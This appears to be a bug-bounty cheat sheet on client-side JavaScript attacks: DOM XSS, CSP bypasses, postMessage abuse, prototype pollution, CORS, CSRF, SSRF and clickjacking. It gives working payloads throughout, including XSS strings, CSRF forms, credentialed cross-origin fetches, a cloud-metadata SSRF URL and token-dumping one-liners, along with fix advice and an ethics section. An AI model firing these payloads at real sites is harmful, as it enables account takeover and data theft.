Javascript 4 Bug Bounties
JavaScript for Bug Bounties — Client-Side Offense & Automation
I. 🧩 Recon Mindset (Client-Side)
Map all sources → sinks: URL, DOM, storage, postMessage →
innerHTML,eval,location, dynamic script loads.Inventory scripts: first/third-party, versions, feature flags, minified bundles (look for
//# sourceMappingURL).Trace dataflows: Grep for
dangerousAPIs; use DevTools “Search All Files”.
Quick DevTools searches:
innerHTML|outerHTML|insertAdjacentHTML|document.write|eval|setTimeout\(|Function\(|postMessage\(|addEventListener\('message'|JSON\.parse\(|DOMPurify|sanitizeII. ⚔️ DOM XSS — Sources & Sinks
Common Sources
location.hash,location.search,document.referrer,window.namelocalStorage/sessionStoragevaluespostMessageeventdata
Dangerous Sinks
element.innerHTML/outerHTML/insertAdjacentHTMLdocument.writeeval/Function/setTimeout(string)jQuery($html)or.html()srcdoc,on*=attributes
Fast Test Payloads (by context)
# HTML context
"><img src=x onerror=alert(1)>
# Attribute context
" autofocus onfocus=alert(1) x="
# JS string context
';alert(1);//
# URL JS schemes (if allowed)
javascript:alert(1)
# SVG
<svg/onload=alert(1)>Minimal sink probe (console):
// Try to push payloads through suspected sources:
new URLSearchParams(location.search).forEach((v,k)=>console.log(k,v))III. 🛡️ CSP Bypass Hints (When Present)
Check
script-srcforunsafe-inline,nonce-,strict-dynamic,data:,blob:.If
script-srclacks'unsafe-eval', look for JSONP/trusted JS endpoints or import() allowed origins.style-src 'unsafe-inline'+ CSS escape to JS? (rare, mostly historical).object-src 'none'reduces legacy vectors; still test SVG/srcdoc.
Blob URL pivot (if blob: allowed):
URL.createObjectURL(new Blob(["alert(1)"],{type:"text/javascript"}))IV. 🧪 postMessage & Click-through
Weak origin checks
Anti-pattern:
window.addEventListener('message', e => {
// no e.origin check
if (e.data.cmd === 'login') { doLogin(e.data.token) }
})Exploit (attacker page):
iframe.contentWindow.postMessage({cmd:'login', token:'X'}, '*')Fix to propose: enforce strict e.origin === 'https://trusted.example' and structural checks.
V. 🧬 Prototype Pollution → XSS/RCE (Frontend)
Quick probes (DevTools):
// URL param gadget: ?__proto__[payload]=value
Object.prototype.pwned=1;({}).pwned // → 1?If polluted → hunt gadget sinks (templating, DOM renderers):
// Common gadget keys
{"__proto__":{"innerHTML":"<img src=x onerror=alert(1)>"}} // depends on frameworkFramework-specific hotspots: lodash _.merge, deep clone utilities without hasOwnProperty checks.
VI. 🌐 CORS Misconfig (Client-side observable)
Red flags
Access-Control-Allow-Origin: *withAccess-Control-Allow-Credentials: true(should never co-exist)Reflection of
Originheader from arbitrary domains
Quick POC (console from attacker origin):
fetch('https://victim/api/me', {credentials:'include', mode:'cors'})
.then(r=>r.text()).then(t=>console.log(t))VII. 🩸 CSRF & Fetch/Forms
SameSite=Lax/Strict can block simple GET/POST; test with CORS preflighted or same-site top-level navigation.
Hidden CSRF if API trusts
X-Requested-Withor referer only.
Auto-submit form (classic CSRF)
<form action="https://victim/account/email" method="POST">
<input name="email" value="[email protected]">
</form><script>document.forms[0].submit()</script>fetch CSRF with cookies (attacker origin):
fetch('https://victim/profile', {
method:'POST', credentials:'include',
headers:{'Content-Type':'application/json'},
body: JSON.stringify({role:'admin'})
})VIII. 📦 Storage & Token Handling
Hunt for
access_tokeninlocalStorage,sessionStorage,IndexedDB.If tokens stored in
localStorageand any XSS exists → full account takeover.
Quick dump (DevTools):
Object.keys(localStorage).forEach(k=>console.log(k, localStorage.getItem(k)))IX. 🛰️ Service Workers & Cache Poisoning (Client)
Service Worker scope controls network responses; XSS in SW = persistent control.
Check:
navigator.serviceWorker.getRegistrations().then(r=>r.forEach(sw=>console.log(sw.scope)))Test cache poisoning via query variation if SW does naive cache keys.
X. 🔎 JSONP, Callback & AngularJS Legacy
JSONP endpoints:
/api?callback=alert(1)
/endpoint?cb=fooIf response wraps attacker-controlled callback → JS execution.
AngularJS sandbox escape (very legacy):
{{constructor.constructor('alert(1)')()}}Only applicable to very old Angular versions with untrusted templates.
XI. 🧰 Quick Automation (Browser & Node)
A) Bookmarklets (drop-in helpers)
Save as bookmarks; click on target pages.
Params to console
javascript:(()=>{const u=new URL(location);console.table([...u.searchParams.entries()])})()Highlight sinks
javascript:(()=>{const bad=['innerHTML','outerHTML','insertAdjacentHTML'];bad.forEach(p=>{const d=Object.getOwnPropertyDescriptor(Element.prototype,p);Object.defineProperty(Element.prototype,p,{set(v){console.log('[SINK]',p,this,v.slice?.(0,120));return d.set.call(this,v)},get:d.get})})})()B) Tampermonkey userscript (param reflection hunting)
// ==UserScript==
// @match *://*/*
// @grant none
// ==/UserScript==
(function(){
const q = new URL(location).searchParams;
for (const [k,v] of q) {
if (document.body?.innerHTML.includes(v)) {
console.log('[REFLECTION]', k, v);
}
}
})();C) Node + Puppeteer (crawl & reflection detector)
import puppeteer from 'puppeteer';
const start = process.argv[2];
const browser = await puppeteer.launch({headless:'new'});
const page = await browser.newPage();
await page.goto(start,{waitUntil:'domcontentloaded'});
const params = [['x','"><img src=x onerror=alert(1)>'], ['q','%27;alert(1)//']];
for (const [k,p] of params){
const url = new URL(start); url.searchParams.set(k,p);
await page.goto(url.toString(),{waitUntil:'domcontentloaded'});
const reflects = await page.evaluate(v=>document.documentElement.innerHTML.includes(v), p);
if (reflects) console.log('[REFLECTS]', k, url.toString());
}
await browser.close();XII. 🛰️ Client-Side SSRF-ish (fetch to internal)
Modern browsers block direct intranet access from foreign origins, but misconfigured CORS or proxy endpoints can enable internal fetches:
Endpoints like
/proxy?url=http://169.254.169.254/latest/meta-data/PDF renderers / image fetchers server-side → try internal targets.
Payload:
/proxy?url=http://127.0.0.1:8080/adminXIII. 🪤 Clickjacking & UI Redress
Test X-Frame-Options / CSP
frame-ancestors.If frameable, attempt overlayed button click.
Test page:
<iframe id=f src="https://victim/transfer"></iframe>
<style>#f{position:absolute;opacity:.001;top:10px;left:10px;width:800px;height:600px;border:0}</style>XIV. 🧵 Race/Logic in JS Apps
Double-submit, re-order API calls, optimistic UI updates.
Test idempotency: place two
fetch()concurrently and observe server state.
Promise.all([
fetch('/api/apply-coupon',{method:'POST'}),
fetch('/api/apply-coupon',{method:'POST'})
])XV. 🧠 Reporting Notes (for bounty writeups)
Proof: reproducible URL + parameter + payload + video/GIF.
Impact: account takeover, data read/write, CSRF state change.
Scope awareness: third-party domains often out of scope unless documented.
Fix guidance:
Use safe sinks:
textContent,setAttribute.Validate
postMessageorigins.Store tokens in httpOnly cookies + SameSite.
Strict CSP with nonces; disallow
data:/blob:where possible.
XVI. ⚡ Quick Reference Tables
A) Dangerous Sinks
innerHTML
textContent, sanitized HTML (DOMPurify)
document.write
DOM APIs
eval, Function
Strict logic, JSON.parse
setTimeout("...")
setTimeout(fn)
B) Useful One-Liners
// show cookies & SameSite flags (DevTools Application tab is better)
document.cookie
// list event listeners (Chrome DevTools command menu > Show listeners), or programmatic:
getEventListeners ? getEventListeners(document) : 'Use DevTools'
// enumerate scripts
[...document.scripts].map(s=>s.src || '[inline]')C) Payload Starters
"><svg/onload=alert(1)>
" onpointerenter=alert(1) a="
<iframe srcdoc="<script>alert(1)</script>"></iframe>
javascript:/*url*/alert(1)XVII. ✅ Clean OPSEC & Ethics
Test on allowed assets only, throttle automation, label requests with a contact header if policy allows.
Keep raw HTTP traces and console logs for your report; do not retain user data.
Provide remediation PRs/snippets when possible — it boosts acceptance.
Last updated
Was this helpful?